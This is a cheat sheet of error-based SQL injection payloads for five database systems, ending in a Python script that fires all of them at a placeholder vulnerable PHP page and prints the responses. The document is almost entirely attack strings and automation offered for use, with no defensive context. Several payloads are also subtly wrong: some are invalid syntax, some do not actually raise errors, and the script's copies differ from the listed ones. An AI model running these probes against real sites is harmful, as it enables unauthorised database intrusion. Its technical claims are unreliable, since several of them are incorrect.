# Advanced Methods to Forcefully Generate Errors on Various DBMS

## Advanced Methods to Forcefully Generate Errors on Various DBMS

### MySQL

**Use of Invalid Functions**

* MySQL provides many functions that, when used incorrectly, can generate errors.

  ```sql
  ' AND EXP(~(SELECT * FROM (SELECT 1) t)) -- 
  ```

**Invalid Hexadecimal Conversion**

* Using invalid hexadecimal values can cause errors.

  ```sql
  ' AND 0xG1 -- 
  ```

**Subqueries in SELECT Clause**

* Use subqueries that return multiple rows in a single value context.

  ```sql
  ' AND (SELECT * FROM (SELECT 1,2) t) = 1 -- 
  ```

### PostgreSQL

**Invalid Regular Expression**

* PostgreSQL's regex functions can be used incorrectly to cause errors.

  ```sql
  ' AND 'a' ~ 'b[' -- 
  ```

**Invalid JSON Operations**

* Use JSON functions with invalid operations.

  ```sql
  ' AND jsonb_path_query_first('{"a":1}', '$.a') -- 
  ```

**Recursive CTE**

* Use recursive Common Table Expressions (CTE) incorrectly.

  ```sql
  ' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT * FROM t -- 
  ```

### MSSQL

**Invalid XML Queries**

* MSSQL’s XML functions can generate errors when used with invalid XML.

  ```sql
  '; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)[1]', 'INT') --
  ```

**Invalid Data Conversion**

* Conversion functions can cause errors when converting incompatible data types.

  ```sql
  '; SELECT CAST('text' AS INT) --
  ```

**SQL Injection with Error Functions**

* Use built-in error functions to generate errors.

  ```sql
  '; RAISERROR('Error generated', 16, 1) --
  ```

### Oracle

**Invalid Data Manipulation**

* Oracle’s specific functions and data manipulation can cause errors.

  ```sql
  ' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual --
  ```

**Invalid XMLType Usage**

* Use XMLType improperly to cause errors.

  ```
  ' UNION SELECT XMLType('<invalid><xml>') FROM dual --
  ```

**Using SYS.DBMS\_ASSERT**

* Leverage Oracle’s assertion package to force errors.

  ```sql
  ' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual --
  ```

### SQLite

**Invalid String Functions**

* SQLite’s string functions can generate errors when used improperly.

  ```sql
  ' UNION SELECT SUBSTR('text', -1, 1) --
  ```

**Invalid Mathematical Operations**

* Use mathematical functions with invalid inputs.

  ```sql
  ' UNION SELECT POW('text', 2) --
  ```

**Invalid Date Functions**

* Use date functions with incorrect parameters.

  ```
  ' UNION SELECT DATE('invalid_date') --
  ```

### Python Script to Force Errors

**Automating Error Injection**

```python
import requests

url = "http://example.com/vulnerable.php"
payloads = [
    # MySQL
    "' AND EXP(~(SELECT * FROM (SELECT 1) t)) -- ",
    "' AND 0xG1 -- ",
    "' AND (SELECT * FROM (SELECT 1,2) t) = 1 -- ",
    # PostgreSQL
    "' AND 'a' ~ 'b[' -- ",
    "' AND jsonb_path_query_first('{'a':1}', '$.a') -- ",
    "' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT * FROM t -- ",
    # MSSQL
    "; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)[1]', 'INT') -- ",
    "; SELECT CAST('text' AS INT) -- ",
    "; RAISERROR('Error generated', 16, 1) -- ",
    # Oracle
    "' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual -- ",
    "' UNION SELECT XMLType('<invalid><xml>') FROM dual -- ",
    "' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual -- ",
    # SQLite
    "' UNION SELECT SUBSTR('text', -1, 1) -- ",
    "' UNION SELECT POW('text', 2) -- ",
    "' UNION SELECT DATE('invalid_date') -- ",
]

for payload in payloads:
    response = requests.get(url, params={"id": payload})
    print(f"Payload: {payload}")
    print(f"Response: {response.text}\n")
```


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